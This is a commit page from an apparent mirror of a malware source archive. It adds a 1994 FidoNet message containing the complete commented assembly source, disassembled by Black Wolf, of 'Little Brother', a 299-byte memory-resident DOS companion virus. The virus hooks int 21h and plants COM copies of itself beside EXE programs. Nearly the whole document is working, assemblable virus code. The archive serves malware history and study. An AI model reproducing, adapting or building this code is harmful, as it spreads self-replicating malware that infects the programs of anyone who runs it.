mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
re-organize
push
This commit is contained in:
vxunderground
@@ -0,0 +1,247 @@
|
||||
;Ä PVT.VIRII (2:465/65.4) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ PVT.VIRII Ä
|
||||
; Msg : 37 of 54
|
||||
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:15
|
||||
; To : - *.* - Fri 11 Nov 94 08:10
|
||||
; Subj : LTBRO299.DSM
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;.RealName: Max Ivanov
|
||||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
;* Kicked-up by MeteO (2:5030/136)
|
||||
;* Area : VIRUS (Int: ˆä®p¬ æ¨ï ® ¢¨pãá å)
|
||||
;* From : Alan Jones, 2:283/718 (06 Nov 94 17:40)
|
||||
;* To : Daniel Hendry
|
||||
;* Subj : LTBRO299.DSM
|
||||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
;@RFC-Path:
|
||||
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
|
||||
;18.n283!not-for-mail
|
||||
;@RFC-Return-Receipt-To: Alan.Jones@f718.n283.z2.fidonet.org
|
||||
;Little Brother - resident companion virus, 299 bytes.
|
||||
|
||||
;This virus stores itself inside DOS's data block, over the root directory
|
||||
;copy. It hooks int 21h, function 4bh (subfunct. 0, load & exec) and
|
||||
;creates a function 0deh for self identification. When a file is run,
|
||||
;it first checks to see if it is a COM or an EXE. If it is an EXE, it
|
||||
;will create a COM file with the same filename. Otherwise - if it is a
|
||||
;COM, it will check to see if it is the virus by checking the size of the
|
||||
;file and seeing if there is an EXE with the same (starting) filename.
|
||||
;If so, it will change the filename to be run to the EXE host and allow
|
||||
;DOS to execute it. This virus may cause errors (?) due to the place
|
||||
;in memory it locates itself.
|
||||
|
||||
;Disassembly by Black Wolf.
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
org 100h
|
||||
|
||||
start_virus:
|
||||
cld
|
||||
mov ax,0DEDEh ;Installation Check
|
||||
int 21h
|
||||
cmp ah,41h
|
||||
je Exit_Virus ;If there - terminate
|
||||
|
||||
mov ax,44h
|
||||
mov es,ax
|
||||
mov di,100h ;Copy virus to 0044:0100
|
||||
mov si,di ;Root directory entries?
|
||||
mov cx,end_virus-start_virus ;This is inside DOS data
|
||||
rep movsb ;block... may cause errors?
|
||||
|
||||
mov ds,cx ;DS = 0 = Interrupt table
|
||||
mov si,84h ;0:84h = Int 21h entry in table
|
||||
|
||||
mov di,offset Old21_IP ;Save old Int 21h address
|
||||
movsw
|
||||
movsw
|
||||
|
||||
push es
|
||||
pop ds ;Set DS to new seg...
|
||||
|
||||
mov dx,offset Int21_Handler
|
||||
mov ax,2521h
|
||||
int 21h ;Hook Int 21h.
|
||||
|
||||
Exit_Virus:
|
||||
retn ;Terminate
|
||||
|
||||
|
||||
EXE_Mask db 'EXE',0
|
||||
COM_Mask db 'COM',0
|
||||
|
||||
CritErrHandler:
|
||||
mov al,3
|
||||
iret
|
||||
|
||||
Int21_Handler:
|
||||
pushf
|
||||
cmp ax,0DEDEh ;Is this an installation
|
||||
je Install_Check ;check call?
|
||||
|
||||
push dx bx ax ds es ;Save regs....
|
||||
|
||||
cmp ax,4B00h ;Is it load and execute?
|
||||
jne Exit_21h ;No... exit handler
|
||||
call Infect_File ;Yes... infect file
|
||||
|
||||
Exit_21h:
|
||||
pop es ds ax bx dx
|
||||
popf
|
||||
jmp dword ptr cs:[Old21_IP] ;Jump to Old Int 21h
|
||||
|
||||
Install_Check:
|
||||
mov ax,4101h
|
||||
popf
|
||||
iret
|
||||
|
||||
Infect_File:
|
||||
cld
|
||||
mov word ptr cs:[Filename_off],dx ;Save filename offset
|
||||
mov word ptr cs:[Filename_seg],ds ;and segment.
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset VirusDTA
|
||||
mov ah,1Ah
|
||||
int 21h ;Set DTA to us...
|
||||
|
||||
call Find_Extension
|
||||
|
||||
mov si,offset ds:[EXE_Mask]
|
||||
mov cx,3
|
||||
repe cmpsb ;Is it an EXE file?
|
||||
jnz Not_EXE
|
||||
|
||||
mov si,offset COM_Mask
|
||||
call Change_Ext ;Change extension to COM
|
||||
|
||||
mov ax,3300h
|
||||
int 21h ;Get Ctrl-Break Status
|
||||
push dx ;Save it....
|
||||
|
||||
xor dl,dl
|
||||
mov ax,3301h
|
||||
int 21h ;Disable Ctrl-Break.
|
||||
|
||||
mov ax,3524h
|
||||
int 21h ;Get Int 24h handler's address
|
||||
|
||||
push bx
|
||||
push es ;Save it for later...
|
||||
|
||||
push cs
|
||||
pop ds ;DS = virus segment
|
||||
|
||||
mov dx,offset CritErrHandler
|
||||
mov ax,2524h
|
||||
int 21h ;Set Critical Error handler.
|
||||
|
||||
|
||||
lds dx,dword ptr ds:[Filename_Off] ;DS:DX = filename
|
||||
xor cx,cx ;Reg attributes
|
||||
mov ah,5Bh
|
||||
int 21h ;Create File..
|
||||
jc Done_Infect
|
||||
|
||||
xchg ax,bx
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov cx,end_virus-start_virus
|
||||
mov dx,100h
|
||||
mov ah,40h
|
||||
int 21h ;Write entire virus
|
||||
|
||||
cmp ax,cx ;did it all write?
|
||||
|
||||
pushf
|
||||
mov ah,3Eh ;Close file.
|
||||
int 21h
|
||||
popf
|
||||
|
||||
jz Done_Infect ;Yes, go Done_Infect
|
||||
|
||||
lds dx,dword ptr ds:[Filename_Off]
|
||||
mov ah,41h
|
||||
int 21h ;Delete file, incomplete
|
||||
;write or write error.
|
||||
|
||||
Done_Infect:
|
||||
pop ds
|
||||
pop dx
|
||||
mov ax,2524h
|
||||
int 21h ;Restore Critical error handler
|
||||
|
||||
pop dx ;Get old CTRL-Break handler
|
||||
mov ax,3301h ;status and restore it.
|
||||
int 21h
|
||||
|
||||
mov si,offset EXE_Mask
|
||||
call Change_Ext ;Change extension back to orig.
|
||||
|
||||
Leave_Infect:
|
||||
retn
|
||||
|
||||
Not_EXE:
|
||||
call Locate_File
|
||||
cmp word ptr cs:[24dh], end_virus-start_virus
|
||||
jne Leave_Infect ;Is the file size right for Virus?
|
||||
|
||||
mov si,offset EXE_Mask ;If so, is there an EXE of the same
|
||||
call Change_Ext ;name as the COM file?
|
||||
call Locate_File
|
||||
jnc Leave_Infect ;If not exit, otherwise - is already
|
||||
mov si,offset COM_Mask ;infected, so change extension
|
||||
jmp short Change_Ext ;to run uninfected program.
|
||||
|
||||
|
||||
Locate_File:
|
||||
lds dx,dword ptr ds:[Filename_Off]
|
||||
mov cl,27h
|
||||
mov ah,4Eh
|
||||
int 21h ;Find First Filename match.
|
||||
retn
|
||||
|
||||
|
||||
Change_Ext:
|
||||
call Find_Extension
|
||||
push cs
|
||||
pop ds
|
||||
movsw
|
||||
movsw
|
||||
retn
|
||||
|
||||
Find_Extension:
|
||||
les di,dword ptr cs:[Filename_Off]
|
||||
mov ch,0FFh
|
||||
mov al,2Eh ;Scan through filename until a '.'
|
||||
repne scasb
|
||||
retn
|
||||
|
||||
Virus_Name db 'Little Brother',0
|
||||
|
||||
end_virus:
|
||||
|
||||
Old21_IP dw ?
|
||||
Old21_CS dw ?
|
||||
|
||||
Filename_Off dw ?
|
||||
Filename_Seg dw ?
|
||||
|
||||
VirusDTA:
|
||||
end start_virus
|
||||
|
||||
;-+- FMail 0.96â
|
||||
; + Origin: **SERMEDITECH BBS** Soissons FR (+33) 23.73.02.51 (2:283/718)
|
||||
;=============================================================================
|
||||
;
|
||||
;Yoo-hooo-oo, -!
|
||||
;
|
||||
;
|
||||
; þ The MeÂeO
|
||||
;
|
||||
;/v Include full symbolic debug information
|
||||
;
|
||||
;--- Aidstest Null: /Kill
|
||||
; * Origin: ùPVT.ViRIIúmainúboardú / Virus Research labs. (2:5030/136)
|
||||
|
||||
Reference in New Issue
Block a user